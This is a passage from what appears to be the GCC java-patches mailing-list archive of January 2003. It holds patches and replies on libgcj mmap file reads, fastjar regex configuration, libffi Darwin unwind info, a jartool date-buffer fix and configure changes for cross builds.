14:15:37 -0000 @@ -253,6 +253,9 @@ /* Define if you have the mkdir function. */ #undef HAVE_MKDIR +/* Define if you have the mmap function. */ +#undef HAVE_MMAP + /* Define if you have the nl_langinfo function. */ #undef HAVE_NL_LANGINFO @@ -393,9 +396,6 @@ /* Define if the compiler is configured for setjmp/longjmp exceptions. */ #undef SJLJ_EXCEPTIONS - -/* Indicate that linker is not able to 8-byte align static data */ -#undef JV_LINKER_CANNOT_8BYTE_ALIGN_STATICS /* Required define if using POSIX threads */ #undef _REENTRANT Index: java/io/FileDescriptor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileDescriptor.java,v retrieving revision 1.11 diff -u -r1.11 FileDescriptor.java --- java/io/FileDescriptor.java 4 Jan 2003 03:53:00 -0000 1.11 +++ java/io/FileDescriptor.java 18 Jan 2003 14:15:37 -0000 @@ -10,6 +10,8 @@ package java.io; +import gnu.gcj.RawData; + /** * @author Tom Tromey * @date September 24, 1998 @@ -103,4 +105,7 @@ private int fd = -1; private long position = 0; + + private gnu.gcj.RawData maddr; + private long mlen; } Index: java/io/natFileDescriptorPosix.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/natFileDescriptorPosix.cc,v retrieving revision 1.24 diff -u -r1.24 natFileDescriptorPosix.cc --- java/io/natFileDescriptorPosix.cc 4 Jan 2003 03:53:00 -0000 1.24 +++ java/io/natFileDescriptorPosix.cc 18 Jan 2003 14:15:38 -0000 @@ -28,6 +28,10 @@ #include #endif +#ifdef HAVE_MMAP +#include +#endif + #include #include #include @@ -124,6 +128,31 @@ _Jv_platform_close_on_exec (fd); +#ifdef HAVE_MMAP + maddr = NULL; + mlen = 0; + position = 0; +# ifdef O_BINARY + if (flags == O_RDONLY | O_BINARY) +# else + if (flags == O_RDONLY) +# endif + { + struct stat sb; + if (::fstat (fd, &sb) != -1) + { + mlen = sb.st_size; + maddr = (gnu::gcj::RawData *) ::mmap (NULL, mlen, PROT_READ, + MAP_SHARED, fd, 0); + if (maddr == MAP_FAILED) + { + mlen = 0; + maddr = NULL; + } + } + } +#endif + return fd; } @@ -187,6 +216,10 @@ { jint save = fd; fd = -1; +#ifdef HAVE_MMAP + if (maddr) + ::munmap (maddr, mlen); +#endif if (::close (save)) throw new IOException (JvNewStringLatin1 (strerror (errno))); } @@ -229,11 +262,19 @@ jint java::io::FileDescriptor::seek (jlong pos, jint whence, jboolean eof_trunc) { + off_t r; JvAssert (whence == SET || whence == CUR); if (eof_trunc) { - jlong len = length (); + jlong len; +#ifdef HAVE_MMAP + if (maddr) + len = mlen; + else +#endif + len = length (); + if (whence == SET) { if (pos > len) @@ -250,9 +291,23 @@ } } - off_t r = ::lseek (fd, (off_t) pos, whence == SET ? SEEK_SET : SEEK_CUR); - if (r == -1) - throw new IOException (JvNewStringLatin1 (strerror (errno))); +#ifdef HAVE_MMAP + if (maddr) + { + if (whence == SET) + r = pos; + else + r = position + pos; + } + else + { +#endif + r = ::lseek (fd, (off_t) pos, whence == SET ? SEEK_SET : SEEK_CUR); + if (r == -1) + throw new IOException (JvNewStringLatin1 (strerror (errno))); +#ifdef HAVE_MMAP + } +#endif position = r; return r; } @@ -260,10 +315,21 @@ jlong java::io::FileDescriptor::length (void) { - struct stat sb; - if (::fstat (fd, &sb)) - throw new IOException (JvNewStringLatin1 (strerror (errno))); - return sb.st_size; +#ifdef HAVE_MMAP + if (maddr) + { + return mlen; + } + else + { +#endif + struct stat sb; + if (::fstat (fd, &sb)) + throw new IOException (JvNewStringLatin1 (strerror (errno))); + return sb.st_size; +#ifdef HAVE_MMAP + } +#endif } jlong @@ -276,7 +342,12 @@ java::io::FileDescriptor::read (void) { jbyte b; - int r = ::read (fd, &b, 1); + int r; +#ifdef HAVE_MMAP + if (maddr) + return position < mlen ? ((unsigned char *) maddr)[position++] : -1; +#endif + r = ::read (fd, &b, 1); if (r == 0) return -1; if (r == -1) @@ -308,6 +379,21 @@ return 0; jbyte *bytes = elements (buffer) + offset; +#ifdef HAVE_MMAP + if (maddr) + { + if (position < mlen) + { + if (count > mlen - position) + count = mlen - position; + memcpy (bytes, ((char *) maddr) + position, count); + position += count; + } + else + count = -1; + return count; + } +#endif int r = ::read (fd, bytes, count); if (r == 0) return -1; --=-BwM64CCZm+J2ZBNKdaou-- From java-patches-return-5837-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 18 17:49:09 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26759 invoked by alias); 18 Jan 2003 17:49:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26752 invoked from network); 18 Jan 2003 17:49:08 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by sources.redhat.com with SMTP; 18 Jan 2003 17:49:08 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18Zx4H-0006FY-00 for ; Sat, 18 Jan 2003 18:47:41 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18Zx4F-0006FN-00 for ; Sat, 18 Jan 2003 18:47:39 +0100 Path: not-for-mail From: Ranjit Mathew Subject: Patch for Review: Add regex functions checks to fastjar/configure.in Date: Sat, 18 Jan 2003 23:20:50 +0530 Lines: 60 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en Hi, The following is my attempt to address the fact that the regex functions like regexec, regcomp, etc. might not be defined in libc (as on Linux) and might need a separate library like libregex (as on MinGW). Unfortunately, the current fastjar configuration assumes otherwise. I really wanted to define a straightforward: AC_CHECK_FUNC( regexec, , AC_CHECK_LIB( regex, regexec, , AC_MSG_ERROR([regex functions not found - get libregex]))) but autoconf does not accept this due to recursive definition errors from m4. This patch relies on the fact that the default success action of AC_CHECK_LIB for a library "foo" is to prefix "-lfoo" to the shell variable "LIBS". Finally, "configure" needs to be regenerated after this patch. ChangeLog: 2003-01-18 Ranjit Mathew * configure.in: Check if libc really has regex functions, otherwise try libregex. * configure: Rebuilt. Patch: ------------------------------- 8< ------------------------------- --- configure.in 2003-01-18 20:27:39.000000000 +0530 +++ configure.in 2003-01-18 21:53:31.000000000 +0530 @@ -34,4 +34,13 @@ gcc_AC_FUNC_MKDIR_TAKES_ONE_ARG +dnl Check for regex functions +regex_impl=unknown +AC_CHECK_FUNC( regexec, regex_impl=libc) + +if test "$regex_impl" = unknown; then + AC_CHECK_LIB( regex, regexec, , + AC_MSG_ERROR([regex functions not found - get libregex])) +fi + dnl Check for type-widths gcc_AC_COMPILE_CHECK_SIZEOF(char) ------------------------------- 8< ------------------------------- Sincerely Yours, Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5838-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 18 20:29:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28165 invoked by alias); 18 Jan 2003 20:29:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28055 invoked from network); 18 Jan 2003 20:29:31 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 18 Jan 2003 20:29:31 -0000 Received: from caip.rutgers.edu ([128.6.236.10]) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18ZyWt-0006yE-00 for java-patches@gcc.gnu.org; Sat, 18 Jan 2003 14:21:19 -0500 Received: (from ghazi@localhost) by caip.rutgers.edu (8.9.3/8.9.3) id OAA01835 for java-patches@gcc.gnu.org; Sat, 18 Jan 2003 14:21:18 -0500 (EST) Date: Sat, 18 Jan 2003 14:21:18 -0500 (EST) From: "Kaveh R. Ghazi" Message-Id: <200301181921.OAA01835@caip.rutgers.edu> To: java-patches@gcc.gnu.org Subject: Patch installed: include "tm_p.h" in jcf-write.c Needed to fix prototype a warning. Tested on armv4l-unknown-linux-gnu cross-compile. Installed as "obvious". --Kaveh 2003-01-18 Kaveh R. Ghazi * Make-lang.in (java/jcf-write.o): Depend on $(TM_P_H). * jcf-write.c: Include "tm_p.h". diff -rup orig/egcc-CVS20030117/gcc/java/Make-lang.in egcc-CVS20030117/gcc/java/Make-lang.in --- orig/egcc-CVS20030117/gcc/java/Make-lang.in 2003-01-16 10:52:34.000000000 -0500 +++ egcc-CVS20030117/gcc/java/Make-lang.in 2003-01-18 13:08:56.208476000 -0500 @@ -308,7 +310,7 @@ java/jcf-parse.o: java/jcf-parse.c $(CON java/parse.h $(GGC_H) debug.h real.h gt-java-jcf-parse.h $(TM_P_H) java/jcf-write.o: java/jcf-write.c $(CONFIG_H) $(JAVA_TREE_H) java/jcf.h \ $(RTL_H) java/java-opcodes.h java/parse.h java/buffer.h $(SYSTEM_H) \ - coretypes.h $(TM_H) toplev.h $(GGC_H) gt-java-jcf-write.h + coretypes.h $(TM_H) toplev.h $(GGC_H) gt-java-jcf-write.h $(TM_P_H) java/jv-scan.o: java/jv-scan.c $(CONFIG_H) $(SYSTEM_H) coretypes.h $(TM_H) \ version.h java/jvgenmain.o: java/jvgenmain.c $(CONFIG_H) $(JAVA_TREE_H) $(SYSTEM_H) \ diff -rup orig/egcc-CVS20030117/gcc/java/jcf-write.c egcc-CVS20030117/gcc/java/jcf-write.c --- orig/egcc-CVS20030117/gcc/java/jcf-write.c 2003-01-16 10:06:01.000000000 -0500 +++ egcc-CVS20030117/gcc/java/jcf-write.c 2003-01-18 13:10:26.001358000 -0500 @@ -38,6 +38,7 @@ The Free Software Foundation is independ #include "buffer.h" #include "toplev.h" #include "ggc.h" +#include "tm_p.h" #ifndef DIR_SEPARATOR #define DIR_SEPARATOR '/' From java-patches-return-5839-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 20 01:13:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19090 invoked by alias); 20 Jan 2003 01:13:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18996 invoked from network); 20 Jan 2003 01:13:26 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 20 Jan 2003 01:13:26 -0000 Received: from fleche.redhat.com (tz0174.peakpeak.com [207.174.69.174]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA00844; Sun, 19 Jan 2003 18:13:24 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A37ED4F8073; Sun, 19 Jan 2003 18:15:08 -0700 (MST) To: Mark Wielaard Cc: java-patches@gcc.gnu.org Subject: Re: ObjectStreamClass serialization patch References: <1042823550.24521.175.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: An INK-LING? Sure -- TAKE one!! Did you BUY any COMMUNIST UNIFORMS?? Date: 19 Jan 2003 18:15:08 -0700 In-Reply-To: <1042823550.24521.175.camel@elsschot> Message-ID: <87of6czko3.fsf@fleche.redhat.com> Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> The following fixes the Mauve serialization regressions. Thanks Mark. Mark> OK to commit? Mark> I am running checks on the branch now. Mark> OK to commit to the 3.3 branch if those succeed? Definitely, to both. Tom From java-patches-return-5840-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 20 01:14:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21123 invoked by alias); 20 Jan 2003 01:14:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21067 invoked from network); 20 Jan 2003 01:14:53 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 20 Jan 2003 01:14:53 -0000 Received: from fleche.redhat.com (tz0174.peakpeak.com [207.174.69.174]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA01033; Sun, 19 Jan 2003 18:14:49 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C4A704F8073; Sun, 19 Jan 2003 18:16:32 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: java.net.MulticastSocket References: <200301160901.55324.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Look DEEP into the OPENINGS!! Do you see any ELVES or EDSELS... or a HIGHBALL??... Date: 19 Jan 2003 18:16:32 -0700 In-Reply-To: <200301160901.55324.konqueror@gmx.de> Message-ID: <87k7h0zklr.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I commited this reindenting patch to trunk. Michael> Tom: Can you please commit it to 3.3 too ? Yes, I'll check it in shortly. Tom From java-patches-return-5841-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 20 16:52:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19205 invoked by alias); 20 Jan 2003 16:52:44 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19186 invoked from network); 20 Jan 2003 16:52:43 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 172.16.49.205 with SMTP; 20 Jan 2003 16:52:43 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (NPlex 5.5.060) (authenticated as toa@pop.agri.ch) id 3E1BCDEE0006C97B; Mon, 20 Jan 2003 17:52:41 +0100 Message-ID: <3E2C2959.7080401@pop.agri.ch> Date: Mon, 20 Jan 2003 17:52:41 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: aph , Anthony Green , java-patches Subject: unwind info for darwin Content-Type: multipart/mixed; boundary="------------040705030301020208050701" This is a multi-part message in MIME format. --------------040705030301020208050701 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Attached a patch which adds unwind info to the libffi darwin part. Running with this patch the libgcj failures will be reduced by about 20. The patch has been tested on both, 3.3 and trunk. Could one take over the ci as I don't have cvs access? In case of the patch being accepted. Thanks, Andreas more fix ups will follow. 2003-01-20 Andreas Tobler * src/powerpc/darwin.S: Add unwind info. * src/powerpc/darwin_closure.S: Likewise. --------------040705030301020208050701 Content-Type: text/plain; x-mac-type="54455854"; x-mac-creator="74657874"; name="darwin-unwind.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="darwin-unwind.diff" --- gcc/libffi/src/powerpc/darwin.S.orig Sun Jan 19 12:09:10 2003 +++ gcc/libffi/src/powerpc/darwin.S Mon Jan 20 15:33:57 2003 @@ -37,10 +37,13 @@ .text .align 2 _ffi_call_DARWIN: - mr r12,r8 // We only need r12 until the call, so it doesn't have to be saved... +LFB0: + mr r12,r8 /* We only need r12 until the call, + so it doesn't have to be saved... */ +LFB1: /* Save the old stack pointer as AP. */ mr r8,r1 - +LCFI0: /* Allocate the stack space we need. */ stwux r1,r1,r4 @@ -48,19 +51,24 @@ mflr r9 stw r28,-16(r8) +LCFI1: stw r29,-12(r8) +LCFI2: stw r30, -8(r8) +LCFI3: stw r31, -4(r8) - +LCFI4: stw r9, 8(r8) +LCFI5: stw r2, 20(r1) +LCFI6: /* Save arguments over call... */ - mr r31,r5 /* flags, */ - mr r30,r6 /* rvalue, */ - mr r29,r7 /* function address, */ - mr r28,r8 /* our AP. */ - + mr r31,r5 /* flags, */ + mr r30,r6 /* rvalue, */ + mr r29,r7 /* function address, */ + mr r28,r8 /* our AP. */ +LCFI7: /* Call ffi_prep_args. */ mr r4,r1 li r9,0 @@ -143,7 +151,8 @@ L(float_return_value): stfs f1,0(r30) b L(done_return_value) -//END(_ffi_call_DARWIN) +LFE1: +/* END(_ffi_call_DARWIN) */ /* Provide a null definition of _ffi_call_AIX. */ .text @@ -153,5 +162,60 @@ .align 2 _ffi_call_AIX: blr -//END(_ffi_call_AIX) +/* END(_ffi_call_AIX) */ +.data +.section __TEXT,__eh_frame +Lframe1: + .set L$set$0,LECIE1-LSCIE1 + .long L$set$0 ; Length of Common Information Entry +LSCIE1: + .long 0x0 ; CIE Identifier Tag + .byte 0x1 ; CIE Version + .ascii "zR\0" ; CIE Augmentation + .byte 0x1 ; uleb128 0x1; CIE Code Alignment Factor + .byte 0x7c ; sleb128 -4; CIE Data Alignment Factor + .byte 0x41 ; CIE RA Column + .byte 0x1 ; uleb128 0x1; Augmentation size + .byte 0x10 ; FDE Encoding (pcrel) + .byte 0xc ; DW_CFA_def_cfa + .byte 0x1 ; uleb128 0x1 + .byte 0x0 ; uleb128 0x0 + .align 2 +LECIE1: +LSFDE1: + .set L$set$1,LEFDE1-LASFDE1 + .long L$set$1 ; FDE Length +LASFDE1: + .set L$set$2,LASFDE1-Lframe1 + .long L$set$2 ; FDE CIE offset + .long LFB0-. ; FDE initial location + .set L$set$3,LFE1-LFB0 + .long L$set$3 ; FDE address range + .byte 0x4 ; DW_CFA_advance_loc4 + .set L$set$4,LCFI0-LFB1 + .long L$set$4 + .byte 0xd ; DW_CFA_def_cfa_register + .byte 0x08 ; uleb128 0x08 + .byte 0x4 ; DW_CFA_advance_loc4 + .set L$set$5,LCFI6-LCFI0 + .long L$set$5 + .byte 0x11 ; DW_CFA_offset_extended_sf + .byte 0x41 ; uleb128 0x41 + .byte 0x7e ; sleb128 -2 + .byte 0x9f ; DW_CFA_offset, column 0x1f + .byte 0x1 ; uleb128 0x1 + .byte 0x9e ; DW_CFA_offset, column 0x1e + .byte 0x2 ; uleb128 0x2 + .byte 0x9d ; DW_CFA_offset, column 0x1d + .byte 0x3 ; uleb128 0x3 + .byte 0x9c ; DW_CFA_offset, column 0x1c + .byte 0x4 ; uleb128 0x4 + .byte 0x4 ; DW_CFA_advance_loc4 + .set L$set$6,LCFI7-LCFI6 + .long L$set$6 + .byte 0xd ; DW_CFA_def_cfa_register + .byte 0x1c ; uleb128 0x1c + .align 2 +LEFDE1: + --- gcc/libffi/src/powerpc/darwin_closure.S.orig Sun Jan 19 12:09:10 2003 +++ gcc/libffi/src/powerpc/darwin_closure.S Mon Jan 20 15:32:11 2003 @@ -1,6 +1,6 @@ /* ----------------------------------------------------------------------- - darwin_closures.S - Copyright (c) 2002 Free Software Foundation, Inc. - based on ppc_closures.S + darwin_closure.S - Copyright (c) 2002 2003 Free Software Foundation, + Inc. based on ppc_closure.S PowerPC Assembly glue. @@ -37,20 +37,20 @@ .text .align 2 _ffi_closure_ASM: - - mflr r0 /* extract return address */ - stw r0, 8(r1) /* save the return address */ - +LFB1: + mflr r0 /* extract return address */ + stw r0, 8(r1) /* save the return address */ +LCFI0: /* 24 Bytes (Linkage Area) */ /* 32 Bytes (outgoing parameter area, always reserved) */ /* 104 Bytes (13*8 from FPR) */ /* 4 Bytes (result) /* 164 Bytes */ - stwu r1,-164(r1) /* skip over caller save area */ - -/* we want to build up an area for the parameters passed */ -/* in registers (both floating point and integer) */ + stwu r1,-164(r1) /* skip over caller save area */ +LCFI1: + /* we want to build up an area for the parameters passed + in registers (both floating point and integer) */ /* we store gpr 3 to gpr 10 (aligned to 4) */ /* in the parents outgoing area */ @@ -111,7 +111,9 @@ lwzx r3,r4,r3 /* get the contents of that table value */ add r3,r3,r4 /* add contents of table to table address */ mtctr r3 - bctr /* jump to it */ + bctr /* jump to it */ +LFE1: + .align 2 .L60: .long .L44-.L60 /* FFI_TYPE_VOID */ @@ -185,5 +187,49 @@ mtlr r0 /* reset link register */ blr -/* END(ffi_closure_ASM) */ +/* END(ffi_closure_ASM) */ + +.data +.section __TEXT,__eh_frame +Lframe1: + .set L$set$0,LECIE1-LSCIE1 + .long L$set$0 ; Length of Common Information Entry +LSCIE1: + .long 0x0 ; CIE Identifier Tag + .byte 0x1 ; CIE Version + .ascii "zR\0" ; CIE Augmentation + .byte 0x1 ; uleb128 0x1; CIE Code Alignment Factor + .byte 0x7c ; sleb128 -4; CIE Data Alignment Factor + .byte 0x41 ; CIE RA Column + .byte 0x1 ; uleb128 0x1; Augmentation size + .byte 0x10 ; FDE Encoding (pcrel) + .byte 0xc ; DW_CFA_def_cfa + .byte 0x1 ; uleb128 0x1 + .byte 0x0 ; uleb128 0x0 + .align 2 +LECIE1: +LSFDE1: + .set L$set$1,LEFDE1-LASFDE1 + .long L$set$1 ; FDE Length + +LASFDE1: + .set L$set$2,LASFDE1-Lframe1 + .long L$set$2 ; FDE CIE offset + .long LFB1-. ; FDE initial location + .set L$set$3,LFE1-LFB1 + .long L$set$3 ; FDE address range + .byte 0x0 ; uleb128 0x0; Augmentation size + .byte 0x4 ; DW_CFA_advance_loc4 + .set L$set$3,LCFI1-LCFI0 + .long L$set$3 + .byte 0xe ; DW_CFA_def_cfa_offset + .byte 164,1 ; uleb128 164 + .byte 0x4 ; DW_CFA_advance_loc4 + .set L$set$4,LCFI0-LFB1 + .long L$set$4 + .byte 0x11 ; DW_CFA_offset_extended_sf + .byte 0x41 ; uleb128 0x41 + .byte 0x7e ; sleb128 -2 + .align 2 +LEFDE1: --------------040705030301020208050701-- From java-patches-return-5842-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 20 18:10:01 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21735 invoked by alias); 20 Jan 2003 18:10:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21612 invoked from network); 20 Jan 2003 18:09:58 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 172.16.49.205 with SMTP; 20 Jan 2003 18:09:58 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h0KI9v228034; Mon, 20 Jan 2003 13:09:57 -0500 Date: Mon, 20 Jan 2003 13:09:57 -0500 (EST) From: Jeff Sturm To: Andreas Tobler cc: aph , Anthony Green , java-patches Subject: Re: unwind info for darwin In-Reply-To: <3E2C2959.7080401@pop.agri.ch> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 20 Jan 2003, Andreas Tobler wrote: > 2003-01-20 Andreas Tobler > * src/powerpc/darwin.S: Add unwind info. These labels aren't used anywhere: > +LCFI1: > stw r29,-12(r8) > +LCFI2: > stw r30, -8(r8) > +LCFI3: > stw r31, -4(r8) > +LCFI4: > stw r9, 8(r8) > +LCFI5: From java-patches-return-5843-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 20 18:16:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21367 invoked by alias); 20 Jan 2003 18:16:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21331 invoked from network); 20 Jan 2003 18:16:42 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 20 Jan 2003 18:16:42 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18agRz-0005KS-00 for ; Mon, 20 Jan 2003 19:15:11 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18agRy-0005KJ-00 for ; Mon, 20 Jan 2003 19:15:10 +0100 Path: not-for-mail From: Ranjit Mathew Subject: Patch: jartool.c and formatted time string in JAR listings Date: Mon, 20 Jan 2003 23:48:24 +0530 Lines: 55 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en Hi, The jar tool's listing of an archive's contents has a small bug: if the formatted time string fills out all the available buffer space, the string is not '\0' terminated - neither by strftime( ) nor by jartool. On my machine, Win98/MSVCRT expands "%Z" to "India Standard Time" instead of "IST" as Linux/glibc does. This results in funny characters being printed in the jar listing and the layout is all messed up. This patch proposes to fix this. ChangeLog: 2003-01-20 Ranjit Mathew * jartool.c (list_jar): Terminate the 'ascii_date' buffer with a '\0' to guard against the case where the formatted time string is more than the size allowed by the buffer. Patch: -------------------------- 8< -------------------------- --- jartool.c Mon Jan 20 23:27:56 2003 +++ jartool.c Mon Jan 20 23:31:42 2003 @@ -1572,5 +1572,5 @@ time_t tdate; struct tm *s_tm; - char ascii_date[30]; + char ascii_date[31]; zipentry ze; @@ -1663,4 +1663,5 @@ s_tm = localtime(&tdate); strftime(ascii_date, 30, "%a %b %d %H:%M:%S %Z %Y", s_tm); + ascii_date[30] = '\0'; } @@ -1782,4 +1783,5 @@ s_tm = localtime(&tdate); strftime(ascii_date, 30, "%a %b %d %H:%M:%S %Z %Y", s_tm); + ascii_date[30] = '\0'; } -------------------------- 8< -------------------------- Sincerely Yours, Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5844-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 20 18:22:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15587 invoked by alias); 20 Jan 2003 18:22:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15550 invoked from network); 20 Jan 2003 18:22:21 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 20 Jan 2003 18:22:21 -0000 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18agXJ-0005j5-00 for ; Mon, 20 Jan 2003 19:20:41 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18agUY-0005Ww-00 for ; Mon, 20 Jan 2003 19:17:50 +0100 Path: not-for-mail From: Ranjit Mathew Subject: Patch for Review: Configury Tweaks for Crossed-Native Builds Date: Mon, 20 Jan 2003 23:51:06 +0530 Lines: 108 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en Hi, This is my attempt to address the cross-compiling and crossed-native-compiling issues that I have been whining about on the main mailing list for a while now. I have tried to take the least disruptive approach that I could come up with. Please review this patch and apply it if it is acceptable. Here are the reasons for the proposed changes in the order in which they appear in the patch (ref. the patch): 1. For a normal cross-compiling build (host=build!=target), revert to the check of seeing if "with_cross_host" is defined or not. This is set by the top-level GCC configure script if the compiler being used is a cross-compiler (host!=target). Without this reversal, cross-compiling would work only for targets that use newlib and not "normal" targets like MinGW. 2. For a native build (host=target), the existing check to see if gcj has also been built alongside is broken if the gcj executable has a suffix (like ".exe" for MinGW). 3. Then again, we can use the gcj built alongside to build libgcj only if it is a truly native build (build=host). 4. If not, we have built a crossed-native gcj (host=target!=build), that cannot be used to build libgcj. Assume cross-compiler for the target is available in the path. Note that the assignment to NULL_TARGET is redundant, but I have put it in anyway to point out that "CANADIAN=yes and NULL_TARGET=no" hold now only for a crossed-native build. 5. Exploit this condition and assume that a cross-gcjh (?) for the target is available in the path to select the gcjh used for a crossed-native build. Note that if these are accepted, configure and Makefile.in need to be rebuilt. ChangeLog: 2003-01-20 Ranjit Mathew * configure.in: Use "with_cross_host" to check if we are being built with a cross-compiler. Add ac_cv_exeext to the file name used in a native build to check if gcj has been built alongside. Use this gcj only if it is not a crossed-native build, otherwise assume cross-compiling gcj for the target is in the path. * configure: Rebuilt. * Makefile.am: Use cross-compiling gcjh from the path for a crossed-native build. * Makefile.in: Rebuilt. Patch: -------------------------------- 8< -------------------------------- --- configure.in 2003-01-20 19:17:59.000000000 +0530 +++ 